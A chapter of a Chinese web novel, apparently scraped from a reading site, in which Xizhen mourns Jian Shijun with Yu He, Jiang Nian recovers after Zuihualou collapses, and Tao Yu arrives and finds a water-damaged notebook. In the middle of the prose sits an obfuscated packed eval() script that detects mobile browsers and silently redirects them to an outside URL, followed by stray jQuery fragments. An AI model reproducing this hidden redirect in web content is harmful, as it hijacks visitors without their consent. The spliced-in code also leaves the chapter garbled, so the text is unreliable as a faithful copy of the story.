209. 沉默
作品:《商户女她聪慧过人》 “束缚?”
于鹤回想起方才溪枕对于他所拿到货物的解释,开口问道:“醉花楼内的符阵除去先前那些,还有什么用途?”
溪枕将两颗药丸轻轻放入了简诗筠的手中。
“乌糜众的教主对她的猜忌未消,担心她出了东澜,会在苍郡逃跑。”
他解释了一句,随即微微叹了息。
“先前我逃跑的时候,虽然成功,但姐姐也难逃被乌糜众的怀疑,没想到......”
话音未落,溪枕的眸色沉了沉:“没想到他们至今还对姐姐心存疑虑。”
于鹤没有接话,只不过是同溪枕并排站着,垂首望着面前的女子,过了片刻,转过眸问道:“你在她面前,可直呼过这称呼?”
......
被问到了扎心的话,溪枕苦笑道:“并未。”
直接喊姐姐,他有些放不下那莫名的身段。
他好似一直想让简诗筠看到他,认可他能有保护的能力,而并非是躲在她的臂膀之下。
但直到现在,他在简诗筠面前,都没有产生那种独当一面的能力。
甚至因为她的死亡,而将平日里掩盖极好的那些心绪流露出来。
都变得不像他了。
溪枕再次俯下了身,如同幼时那般,随意地坐到了简诗筠的面前。
——就好像此时此刻,他们仅仅是在开茶会,而不是在进行生离死别。
他不再去在意周围人的目光,在于鹤垂望过来的视线中,将简诗筠的手心合拢,让她掌心中的那两粒代表着“自由”的解药,牢牢地握在手中。
好像只要这样,他们之间就不会有那错差一步的遗憾。
—
天色渐渐沉暗,远处的部下们遥遥看见了于鹤同溪枕在一边讲着话,又因为石头阻碍住他们的视线,所以并没有发现这两人所面对的,是此次想要引发疫疠的领导者。
碍于担心跑过去会打断他们之间的谈话,因此部下只是远远地站着,在被同伴拍了肩,询问为何站着不动时,只是嘿嘿一笑。
“我看于指挥使和溪长史谈话得正开心,应当是也没料到这次的疫疠雷声大,雨点小吧。”
“所以想着不去打扰他们。”
同伴顺着他的话望过去,确实看到了那两人在已经发黑的天边谈话,长而无边际的天幕坠落于远处的江岸,比起往日担忧疫疠何时会再次引发时的沉重。
此时事情暂时告一段落,只有一些扫尾的杂事需要处理,这情绪定是比一开始要好得多的多。
“这样啊,那我们先走吧。”
“于指挥使不是说事成之后要摆酒吗?这可是难得的机会,咱们赶紧把剩下的活儿干完,别耽误了。”
想到未来的美好时间,两人勾肩搭背,瞬时转身结伴而行,继续去做那些手头只处理完一点儿的事情。
—
他们遥遥的说笑声被风伴随而来,溪枕在简诗筠面前坐了一会儿,膨胀的情绪也稍许缓和了下来。
他从小就在乎姐姐的情绪,观察自是敏锐。
方才被情绪蒙蔽了那双眼,一时用感情说事,现在缓过劲儿了,也对于鹤的想法明白过来。
沉默片刻,溪枕失笑道:“你也是被她改变了不少。”
在简诗筠面前,他难以拿出平常那副态度去对待别人说话。
哪怕简诗筠现在看不到他的面容了,他也想下意识的让自己看上去温和些,好接触些,就像以往在简诗筠面前的那般温顺样。
于鹤垂了眼,似回忆起一些已久的记忆,片刻后微不可察的应了一声。
耳畔呼啸而过的冷冽似要将耳朵冻红,吹着他们抵挡住简诗筠的脊背,逼迫着他们要开始动身,去收拾面前这一已经定格的终局了。
溪枕却有些不愿意动。
他很想把眼前这幅景象记录下来,记着一辈子。
让自己的记忆中,回想起有关于姐姐的画面,便是眼前这幅“图”。
姐姐沉睡在江岸边,依靠着山石,背后是一望无际的天空。
她只是累了,想休息了。
在这之后...她要和于鹤回去。
等到多年之后,他们还会再相见。
可能是在苍郡的一处街道上,又或是潇湘的村庄里,还可能是在姜小姐那经营妥当的药肆。
直到某一天,携着于鹤回到属于他的家中,像是回忆往昔般,将那些在乌糜众所遭遇过的事件变换成晚上做过的噩梦。手中捧着温热的茶盏,浅笑着,眼眸如未经事世那般纯粹,讲述着新学到的医术。
这样才是真实的。
眼前坍塌的醉花楼,死寂的姐姐,沉暗到看不清对方面容的天色,似要将人吞噬的浪涛声。
都是假的。
是一场梦。
不知是说服了自己,还是说服了眼前这想让他刺痛的场景。
溪枕终于舍得起身了。
“什么时候带她走?”
“后续的事情...”
对上于鹤望过来的视线,溪枕透过昏沉的光线,从他沉黑的眸中,看到了属于自己身影的轮廓。
“交予你处理了。”
于鹤看了他一会儿,轻轻颔首。
“嗯。”
—
姜念从昏暗的视线中醒过来,眼眶还发着黑。
手不能动,脚也不能动。
好像全身都被包裹成了木乃伊。
她这是在幽馆府邸吗?
但好像也不像,和她先前所住的那个房间不一样。
头仍然昏昏沉沉,这具身体经不起折腾,虽然在醉花楼下来的时候,没有被掉下来的瓦砾砸到,也没有摔倒,或者在阁楼摇晃地途中砸到墙壁上。
但从醉花楼出来后,身上仍旧是青一块紫一块。
不过都是皮外伤的话,也就还好了。
姜念勉强地眨了下眼,又虚虚地合上。
从去醉花楼里找情报,再到躲避着爆炸,逃出醉花楼。
这之间的每一个机遇都让她提心吊胆,即便神女没有去命人阻碍她行动,去使绊子,她也依旧无时无刻的去设想如何换取情报,找到情报。
……
眼下去醉花楼这一任务算是告此一段路,只需要将矿洞的情报告诉给萧映竹他们,也就无他事了。
一直压在心底的石头终于卸了力,姜念也有余力去想其他事情了。
比如说接下来要怎么与孟峥去调查长公主的死亡,又要怎么赶在九月前回到屏州,去继续接管药肆……
当然,首当其冲的,应当是要关注苍郡的那些声患疫疠的人是否有无被看管住,除去疫疠,醉花楼那儿又怎么样了?神女最后出来了吗?以及矿洞……
他们还需要去采药草,研发针对这次疫疠的药剂。
心头上的重担卸了,可其他排在后边的任务也就因前一个任务处理完而接踵而至。
姜念微微抬起头,稍微换了个姿势,侧躺了一下。
接触到柔软的枕头,温热的温度与脸颊相贴,姜念脑袋忽而空白一瞬,再次沉沉睡了过去。
—
隐隐之中,屋外有人声若有若无的传了过来。
“在醉花楼那里找到洳了吗?”
“说是看到了一张面具……不知道人去哪了。”
“药草之事去矿洞查找了吗?”
“不是说等小姐醒了再去吗?不过已经有些人马往矿洞那边去了。”
“那也快了……呀,桃小姐!”
……
…………
桃郁从宗门那儿到苍郡也就是这两天的事情。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826290|145522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
当初从墨卿那儿知晓地道里藏了易燃的矿物,秦览当即让桃郁从宗门过来。
宗门本不该出现在苍郡里,桃郁本想着在宗门调制出疫疠的方案后,让运送的机关鸟把方案给携过去,再让秦览的那些万能部下去防治。
不过眼下出了计划之外的状况,那么桃郁只能假借医者的名号来了。
“桃小姐……姜小姐还在睡着呢,这些需要我们帮您带进去吗?”
“嗯,也行,秦览说他手下已经找到了一点儿药草了,我现在正好拿去看看怎么调配。”
好久没听到桃郁的声音了。
她来到苍郡了吗?
姜念觉得自己没有睡沉。
屋外来的侍女将桃郁本想拿进来的物品放到了一旁,又轻声地退了出去。
带进来的物品似有催眠作用,药草香缓缓在室内布散开来。
不知道在这儿躺了多久了。
当要出去吗?
......
—
桃郁从姜念暂且调养休憩的那处出来,沿途碰到了从资料室匆匆走出的部曲。
醉花楼倒台后,虽然里边是人走楼空,乌糜众教徒们逃得逃,散得散。
但杂事却遗留了许多,要交予于鹤以及萧映竹来负责。
与部曲略微点了头,桃郁即便抬手推开门,往资料室内里去。
上次来幽馆时距今已有三四年,因此这之间资料室里发生了些变化不以为怪。
桃郁望着与记忆摆放里完全大变样的房间,站在门外,目光逡巡过一群正在忙碌着自己手头上事务的部曲,终于在一处寻得了秦览和萧映竹。
找到想找的目标,桃郁也便直接往里走了。
路途中,不少有向她点头致意的声音,大多都是“桃小姐,您来了”又或是“桃小姐”,只有一个声音略显出众,带着点儿慌张。
“阁主——”
“......”
背对着桃郁的秦览身形一顿,立即抬手遮挡住了桌上的某物,然后弥章盖影的回过头,看向往这儿走来的桃郁,尴尬一笑:“你不是要去姜念那儿吗?怎么到这处来了?”
桃郁盯了秦览一眼,随即抬眸看向桌上那正被他手捂住的物体。
因为物体本身并不算宽大,秦览用袖子一掩盖,就盖得严严实实,桃郁不能看到物体的任何一个边角。
既然见不着,那她也就直接问好了。
“这是什么?”
“有什么我不能看得吗?”
萧映竹神色淡然,随手端起茶盏,起身朝资料室门口走去,似要将空间留给需要的人。
秦览神情一凛,顾不得拉住准备要从这儿离开的萧映竹,微抬起一只手,阻止桃郁欲往前凑的身体。
“不是,不是,你等等。”
秦览被桃郁的目光盯得发怵,平常随口就能编出借口的天赋像是被冻结,怎么想都不好使。
“我想想,你再稍等一会儿,药草之事先往后靠一点儿——”
桃郁可没管秦览口头上再说什么,直接伸臂去掰秦览的手。
周边吵吵嚷嚷的部曲们不知什么时候安静了下来,正专注地做手头上的事情。
任凭秦览再怎么遮掩,臂力也抵不过一个天天爬山采药,种植药草的医者臂力。
那试图抵挡桃郁的双手随即便被桃郁连根拔起。
秦览被桃郁随意别到了一旁,低头往桌面一看。
那本先前从师爷那儿拿来的本子,不知何时被水泡得发皱。
最主要的是,画有植物的那一页,直接被泡成了褪色状。
只能将书抬到阳光下,稍微倾斜一点,对着阳光照,才能看到它以前尚还努力挣扎存活的痕迹。
“......”
桃郁:“?”